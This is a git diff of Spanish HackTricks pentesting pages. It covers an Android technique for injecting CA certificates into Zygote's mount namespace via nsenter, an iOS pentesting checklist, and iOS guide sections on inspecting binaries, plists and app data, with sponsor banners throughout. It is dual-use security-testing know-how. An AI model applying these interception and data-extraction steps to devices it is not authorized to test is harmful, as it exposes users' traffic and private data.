2. **Preparando Certificados de CA**: Después de configurar el directorio escribible, los certificados de CA que se pretenden utilizar deben ser copiados en este directorio. Esto puede implicar copiar los certificados predeterminados desde `/apex/com.android.conscrypt/cacerts/`. Es esencial ajustar los permisos y las etiquetas SELinux de estos certificados en consecuencia.
|
||||
3. **Montaje de Enlace para Zygote**: Utilizando `nsenter`, se ingresa al espacio de montaje de Zygote. Zygote, siendo el proceso responsable de lanzar aplicaciones de Android, requiere este paso para asegurar que todas las aplicaciones iniciadas en adelante utilicen los certificados de CA recién configurados. El comando utilizado es:
|
||||
3. **Montaje de Enlace para Zygote**: Utilizando `nsenter`, se ingresa al espacio de nombres de montaje de Zygote. Zygote, siendo el proceso responsable de lanzar aplicaciones de Android, requiere este paso para asegurar que todas las aplicaciones iniciadas en adelante utilicen los certificados de CA recién configurados. El comando utilizado es:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Esto asegura que cada nueva aplicación iniciada se adhiera a la configuración actualizada de los certificados de la CA.
|
||||
Esto asegura que cada nueva aplicación iniciada se adhiera a la configuración actualizada de certificados CA.
|
||||
|
||||
4. **Aplicar Cambios a las Aplicaciones en Ejecución**: Para aplicar los cambios a las aplicaciones que ya están en ejecución, se utiliza nuevamente `nsenter` para ingresar individualmente al espacio de nombres de cada aplicación y realizar un montaje de enlace similar. El comando necesario es:
|
||||
```bash
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# Lista de verificación de Pentesting en iOS
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -17,14 +17,14 @@ Otras formas de apoyar a HackTricks:
|
|||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -38,49 +38,49 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
### Almacenamiento de Datos
|
||||
|
||||
* [ ] Los [**archivos Plist**](ios-pentesting/#plist) pueden usarse para almacenar información sensible.
|
||||
* [ ] Los archivos **Plist** pueden usarse para almacenar información sensible.
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (base de datos SQLite) puede almacenar información sensible.
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (base de datos SQLite) pueden almacenar información sensible.
|
||||
* [ ] Las **YapDatabases** (base de datos SQLite) pueden almacenar información sensible.
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) con configuración incorrecta.
|
||||
* [ ] Las [**bases de datos Realm**](ios-pentesting/#realm-databases) pueden almacenar información sensible.
|
||||
* [ ] Las [**bases de datos Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) pueden almacenar información sensible.
|
||||
* [ ] Las [**cookies binarias**](ios-pentesting/#cookies) pueden almacenar información sensible.
|
||||
* [ ] Los [**datos en caché**](ios-pentesting/#cache) pueden almacenar información sensible.
|
||||
* [ ] Los [**instantáneos automáticos**](ios-pentesting/#snapshots) pueden guardar información visual sensible.
|
||||
* [ ] El [**llavero**](ios-pentesting/#keychain) se usa generalmente para almacenar información sensible que puede permanecer al vender el teléfono.
|
||||
* [ ] Las bases de datos **Realm** pueden almacenar información sensible.
|
||||
* [ ] Las bases de datos **Couchbase Lite** pueden almacenar información sensible.
|
||||
* [ ] Las **cookies binarias** pueden almacenar información sensible.
|
||||
* [ ] Los datos de **caché** pueden almacenar información sensible.
|
||||
* [ ] Los **snapshots automáticos** pueden guardar información visual sensible.
|
||||
* [ ] El **llavero** se usa generalmente para almacenar información sensible que puede quedar al vender el teléfono.
|
||||
* [ ] En resumen, solo **verificar la información sensible guardada por la aplicación en el sistema de archivos**
|
||||
|
||||
### Teclados
|
||||
|
||||
* [ ] ¿La aplicación [**permite usar teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Verificar si se guarda información sensible en los [**archivos de caché de teclados**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
* [ ] ¿La aplicación **permite usar teclados personalizados**?
|
||||
* [ ] Verificar si se guarda información sensible en los **archivos de caché de teclados**
|
||||
|
||||
### **Registros**
|
||||
|
||||
* [ ] Verificar si se está registrando [**información sensible**](ios-pentesting/#logs)
|
||||
* [ ] Verificar si se está registrando **información sensible** en los **registros**
|
||||
|
||||
### Copias de Seguridad
|
||||
|
||||
* [ ] Las [**copias de seguridad**](ios-pentesting/#backups) pueden usarse para **acceder a la información sensible** guardada en el sistema de archivos (verificar el punto inicial de esta lista de verificación)
|
||||
* [ ] Además, las [**copias de seguridad**](ios-pentesting/#backups) pueden usarse para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono y, al cargarse la **configuración modificada**, es posible que se **bypass** alguna (funcionalidad de seguridad)
|
||||
* [ ] Las **copias de seguridad** pueden usarse para **acceder a la información sensible** guardada en el sistema de archivos (verificar el punto inicial de esta lista de verificación)
|
||||
* [ ] Además, las **copias de seguridad** pueden usarse para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono, y al cargar la **configuración modificada** algunas funcionalidades (de seguridad) pueden ser **burladas**
|
||||
|
||||
### **Memoria de las Aplicaciones**
|
||||
|
||||
* [ ] Verificar si hay información sensible dentro de la [**memoria de la aplicación**](ios-pentesting/#testing-memory-for-sensitive-data)
|
||||
* [ ] Verificar si hay información sensible dentro de la **memoria de la aplicación**
|
||||
|
||||
### **Cifrado Roto**
|
||||
|
||||
* [ ] Verificar si se pueden encontrar [**contraseñas utilizadas para cifrado**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Verificar el uso de [**algoritmos obsoletos/débiles**](ios-pentesting/#broken-cryptography) para enviar/almacenar datos sensibles
|
||||
* [ ] Verificar si se pueden encontrar **contraseñas utilizadas para el cifrado**
|
||||
* [ ] Verificar el uso de algoritmos **obsoletos/débiles** para enviar/guardar datos sensibles
|
||||
* [ ] [**Enganchar y monitorear funciones de cifrado**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **Autenticación Local**
|
||||
|
||||
* [ ] Si se utiliza una [**autenticación local**](ios-pentesting/#local-authentication) en la aplicación, se debe verificar cómo funciona la autenticación.
|
||||
* [ ] Si se utiliza el [**Marco de Autenticación Local**](ios-pentesting/#local-authentication-framework) podría ser fácilmente eludido
|
||||
* [ ] Si se utiliza una [**función que puede ser eludida dinámicamente**](ios-pentesting/#local-authentication-using-keychain) se podría crear un script frida personalizado
|
||||
* [ ] Si se utiliza una **autenticación local** en la aplicación, se debe verificar cómo funciona la autenticación.
|
||||
* [ ] Si se está utilizando el **Marco de Autenticación Local**, podría ser fácilmente burlado
|
||||
* [ ] Si se está utilizando una **función que puede ser burlada dinámicamente**, se podría crear un script frida personalizado
|
||||
|
||||
### Exposición de Funcionalidades Sensibles a través de IPC
|
||||
### Exposición de Funcionalidades Sensibles a Través de IPC
|
||||
|
||||
* [**Manejadores de URI personalizados / Deep links / Esquemas personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Verificar si la aplicación está **registrando algún protocolo/esquema**
|
||||
|
@ -94,13 +94,13 @@ Otras formas de apoyar a HackTricks:
|
|||
* [ ] Verificar si la aplicación **no está verificando y saneando** la entrada de usuarios a través del esquema personalizado y alguna **vulnerabilidad puede ser explotada**
|
||||
* [ ] Verificar si la aplicación **expone alguna acción sensible** que pueda ser llamada desde cualquier lugar a través del esquema personalizado
|
||||
* [**Compartir Actividades UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Verificar si la aplicación puede recibir UIActivities y si es posible explotar alguna vulnerabilidad con una actividad especialmente creada
|
||||
* [**Portapapeles UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Verificar si la aplicación **copia algo al portapapeles general**
|
||||
* [ ] Verificar si la aplicación **utiliza los datos del portapapeles general para algo**
|
||||
* [ ] Verificar si la aplicación puede recibir UIActivities y si es posible explotar alguna vulnerabilidad con una actividad especialmente diseñada
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Verificar si la aplicación está **copiando algo en el portapapeles general**
|
||||
* [ ] Verificar si la aplicación está **utilizando los datos del portapapeles general para algo**
|
||||
* [ ] Monitorear el portapapeles para ver si se copia algún **dato sensible**
|
||||
* [**Extensiones de Aplicaciones**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] ¿La aplicación **está utilizando alguna extensión**?
|
||||
* [ ] ¿La aplicación está **utilizando alguna extensión**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] Verificar qué tipo de webviews se están utilizando
|
||||
* [ ] Verificar el estado de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||
|
@ -119,7 +119,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -130,17 +130,17 @@ Otras formas de apoyar a HackTricks:
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Pentesting de iOS
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -10,12 +10,12 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -57,7 +57,7 @@ Se recomienda utilizar la herramienta [**MobSF**](https://github.com/MobSF/Mobil
|
|||
|
||||
Identificación de las **protecciones presentes en el binario**:
|
||||
|
||||
* **PIE (Ejecutable de Posición Independiente)**: Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial.
|
||||
* **PIE (Ejecutable Independiente de la Posición)**: Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial.
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # Debería incluir la bandera PIE
|
||||
|
@ -91,7 +91,7 @@ otool -Iv <app> | grep -w "_CC_SHA1"
|
|||
grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
* **Funciones Aleatorias Inseguras**
|
||||
* **Funciones de Aleatoriedad Inseguras**
|
||||
|
||||
```bash
|
||||
# En el dispositivo iOS
|
||||
|
@ -145,7 +145,7 @@ grep -iER "_vsprintf"
|
|||
|
||||
### Análisis dinámico básico
|
||||
|
||||
Revisa el análisis dinámico que realiza [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Necesitarás navegar por las diferentes vistas e interactuar con ellas, pero estará enganchando varias clases y realizando otras acciones, y preparará un informe una vez que hayas terminado.
|
||||
Revisa el análisis dinámico que realiza [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Necesitarás navegar por las diferentes vistas e interactuar con ellas, pero se enganchará en varias clases y realizará otras acciones, y preparará un informe una vez que hayas terminado.
|
||||
|
||||
### Listado de aplicaciones instaladas
|
||||
|
||||
|
@ -176,10 +176,10 @@ La estructura de un archivo **IPA** es esencialmente la de un **paquete comprimi
|
|||
|
||||
* **`Info.plist`**: Este archivo contiene detalles de configuración específicos de la aplicación.
|
||||
* **`_CodeSignature/`**: Este directorio incluye un archivo plist que contiene una firma, asegurando la integridad de todos los archivos en el paquete.
|
||||
* **`Assets.car`**: Un archivo comprimido que almacena archivos de recursos como iconos.
|
||||
* **`Assets.car`**: Un archivo de archivo comprimido que almacena archivos de recursos como iconos.
|
||||
* **`Frameworks/`**: Esta carpeta alberga las bibliotecas nativas de la aplicación, que pueden estar en forma de archivos `.dylib` o `.framework`.
|
||||
* **`PlugIns/`**: Esto puede incluir extensiones de la aplicación, conocidas como archivos `.appex`, aunque no siempre están presentes.
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para uso sin conexión, para almacenar datos temporales y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en varios dispositivos en una cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor CloudKit.
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para uso sin conexión, para almacenar datos temporales y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en varios dispositivos en una cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor de CloudKit.
|
||||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o paquete.
|
||||
* **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idioma que contienen recursos para esos idiomas específicos, y un recurso predeterminado en caso de que un idioma no sea compatible.
|
||||
* **Seguridad**: El directorio `_CodeSignature/` juega un papel crítico en la seguridad de la aplicación al verificar la integridad de todos los archivos empaquetados a través de firmas digitales.
|
||||
|
@ -189,9 +189,9 @@ La estructura de un archivo **IPA** es esencialmente la de un **paquete comprimi
|
|||
|
||||
**Info.plist**
|
||||
|
||||
El **Info.plist** sirve como piedra angular para las aplicaciones de iOS, encapsulando datos de configuración clave en forma de pares de **clave-valor**. Este archivo es un requisito no solo para aplicaciones, sino también para extensiones de aplicaciones y frameworks empaquetados dentro. Está estructurado en XML o en un formato binario y contiene información crítica que va desde permisos de la aplicación hasta configuraciones de seguridad. Para una exploración detallada de las claves disponibles, se puede consultar la [**Documentación para Desarrolladores de Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
|
||||
El **Info.plist** sirve como piedra angular para las aplicaciones de iOS, encapsulando datos de configuración clave en forma de pares de **clave-valor**. Este archivo es un requisito no solo para aplicaciones, sino también para extensiones de aplicaciones y frameworks empaquetados dentro de él. Está estructurado en XML o en un formato binario y contiene información crítica que va desde permisos de la aplicación hasta configuraciones de seguridad. Para una exploración detallada de las claves disponibles, se puede consultar la [**Documentación para Desarrolladores de Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
|
||||
|
||||
Para aquellos que deseen trabajar con este archivo en un formato más accesible, la conversión a XML se puede lograr fácilmente mediante el uso de `plutil` en macOS (disponible nativamente en versiones 10.2 y posteriores) o `plistutil` en Linux. Los comandos para la conversión son los siguientes:
|
||||
Para aquellos que deseen trabajar con este archivo en un formato más accesible, la conversión a XML se puede lograr fácilmente mediante el uso de `plutil` en macOS (disponible de forma nativa en las versiones 10.2 y posteriores) o `plistutil` en Linux. Los comandos para la conversión son los siguientes:
|
||||
|
||||
* **Para macOS**:
|
||||
```bash
|
||||
|
@ -202,7 +202,7 @@ $ plutil -convert xml1 Info.plist
|
|||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Entre la gran cantidad de información que el archivo **Info.plist** puede divulgar, las entradas destacadas incluyen cadenas de permisos de la aplicación (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`), y configuraciones para la Seguridad del Transporte de la Aplicación (`NSAppTransportSecurity`). Estas entradas, junto con otras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), pueden ser fácilmente localizadas inspeccionando el archivo o empleando un simple comando `grep`:
|
||||
Entre la gran cantidad de información que el archivo **Info.plist** puede revelar, las entradas destacadas incluyen cadenas de permisos de la aplicación (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`), y configuraciones para la Seguridad del Transporte de la Aplicación (`NSAppTransportSecurity`). Estas entradas, junto con otras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), pueden ser fácilmente localizadas inspeccionando el archivo o utilizando un simple comando `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
|
@ -210,7 +210,7 @@ $ grep -i <keyword> Info.plist
|
|||
|
||||
En el entorno de iOS, los directorios están designados específicamente para las **aplicaciones del sistema** y las **aplicaciones instaladas por el usuario**. Las aplicaciones del sistema residen en el directorio `/Applications`, mientras que las aplicaciones instaladas por el usuario se colocan en `/private/var/containers/`. Estas aplicaciones se les asigna un identificador único conocido como un **UUID de 128 bits**, lo que hace que la tarea de localizar manualmente la carpeta de una aplicación sea desafiante debido a la aleatoriedad de los nombres de directorio.
|
||||
|
||||
Para facilitar el descubrimiento del directorio de instalación de una aplicación instalada por el usuario, la herramienta **objection** proporciona un comando útil, `env`. Este comando revela información detallada del directorio para la aplicación en cuestión. A continuación se muestra un ejemplo de cómo usar este comando:
|
||||
Para facilitar el descubrimiento del directorio de instalación de una aplicación instalada por el usuario, la herramienta **objection** proporciona un comando útil, `env`. Este comando revela información detallada del directorio para la aplicación en cuestión. A continuación se muestra un ejemplo de cómo utilizar este comando:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
|
@ -254,8 +254,8 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
* El contenido de este directorio **no se respalda**.
|
||||
* El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es escaso.
|
||||
* **Library/Application Support/**
|
||||
* Contiene **archivos persistentes** necesarios para ejecutar la aplicación.
|
||||
* **Invisible** para los usuarios y los usuarios no pueden escribir en él.
|
||||
* Contiene **archivos persistentes necesarios para ejecutar la aplicación**.
|
||||
* **Invisible para los usuarios** y los usuarios no pueden escribir en él.
|
||||
* El contenido de este directorio **se respalda**.
|
||||
* La aplicación puede deshabilitar rutas configurando `NSURLIsExcludedFromBackupKey`.
|
||||
* **Library/Preferences/**
|
||||
|
@ -363,11 +363,11 @@ double _field2;
|
|||
```
|
||||
Sin embargo, las mejores opciones para desensamblar el binario son: [**Hopper**](https://www.hopperapp.com/download.html?) y [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir fácilmente y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Accede hoy mismo:
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -392,7 +392,7 @@ La forma más común de persistir datos en archivos plist es a través del uso d
|
|||
|
||||
La clase [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) proporciona una interfaz programática para interactuar con el sistema de preferencias predeterminado. El sistema predeterminado permite a una aplicación personalizar su comportamiento según las **preferencias del usuario**. Los datos guardados por `NSUserDefaults` se pueden ver en el paquete de la aplicación. Esta clase almacena **datos** en un **archivo plist**, pero está destinada a ser utilizada con pequeñas cantidades de datos.
|
||||
|
||||
Estos datos no pueden ser accedidos directamente a través de una computadora de confianza, pero se puede acceder a ellos realizando una **copia de seguridad**.
|
||||
Estos datos no pueden ser accedidos directamente a través de una computadora de confianza, pero se puede acceder realizando una **copia de seguridad**.
|
||||
|
||||
Puedes **volcar** la información guardada usando **`NSUserDefaults`** utilizando `ios nsuserdefaults get` de objection.
|
||||
|
||||
|
@ -400,7 +400,7 @@ Para encontrar todos los plist utilizados por la aplicación, puedes acceder a `
|
|||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
Para convertir archivos de formato **XML o binario (bplist)** a XML, están disponibles varios métodos dependiendo de tu sistema operativo:
|
||||
Para convertir archivos de formato **XML o binario (bplist)** a XML, están disponibles varios métodos según tu sistema operativo:
|
||||
|
||||
**Para usuarios de macOS:** Utiliza el comando `plutil`. Es una herramienta integrada en macOS (10.2+), diseñada para este propósito:
|
||||
```bash
|
||||
|
@ -417,7 +417,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
|||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) es un marco para gestionar la capa de modelo de objetos en tu aplicación. [Core Data puede usar SQLite como su almacenamiento persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), pero el marco en sí no es una base de datos. CoreData no cifra sus datos de forma predeterminada. Sin embargo, se puede agregar una capa de cifrado adicional a CoreData. Consulta el [Repositorio de GitHub](https://github.com/project-imas/encrypted-core-data) para obtener más detalles.
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) es un marco para gestionar la capa de modelo de objetos en tu aplicación. [Core Data puede usar SQLite como su almacenamiento persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), pero el marco en sí no es una base de datos. CoreData no cifra sus datos de forma predeterminada. Sin embargo, se puede agregar una capa de cifrado adicional a CoreData. Consulta el [Repositorio de GitHub](https://github.com/project-imas/encrypted-core-data) para obtener más detalles.
|
||||
|
||||
Puedes encontrar la información de SQLite Core Data de una aplicación en la ruta `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
|
@ -462,7 +462,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
|||
```
|
||||
### Bases de datos en tiempo real de Firebase
|
||||
|
||||
Los desarrolladores pueden **almacenar y sincronizar datos** en una **base de datos alojada en la nube NoSQL** a través de las bases de datos en tiempo real de Firebase. Almacenados en formato JSON, los datos se sincronizan en tiempo real con todos los clientes conectados.
|
||||
Los desarrolladores pueden **almacenar y sincronizar datos** en una **base de datos alojada en la nube NoSQL** a través de las Bases de datos en tiempo real de Firebase. Almacenados en formato JSON, los datos se sincronizan en tiempo real con todos los clientes conectados.
|
||||
|
||||
Puedes encontrar cómo verificar bases de datos de Firebase mal configuradas aquí:
|
||||
|
||||
|
@ -505,9 +505,9 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
|||
```
|
||||
### Cookies
|
||||
|
||||
iOS almacena las cookies de las aplicaciones en **`Library/Cookies/cookies.binarycookies`** dentro de la carpeta de cada aplicación. Sin embargo, a veces los desarrolladores deciden guardarlas en el **llavero** ya que el mencionado **archivo de cookies puede ser accedido en las copias de seguridad**.
|
||||
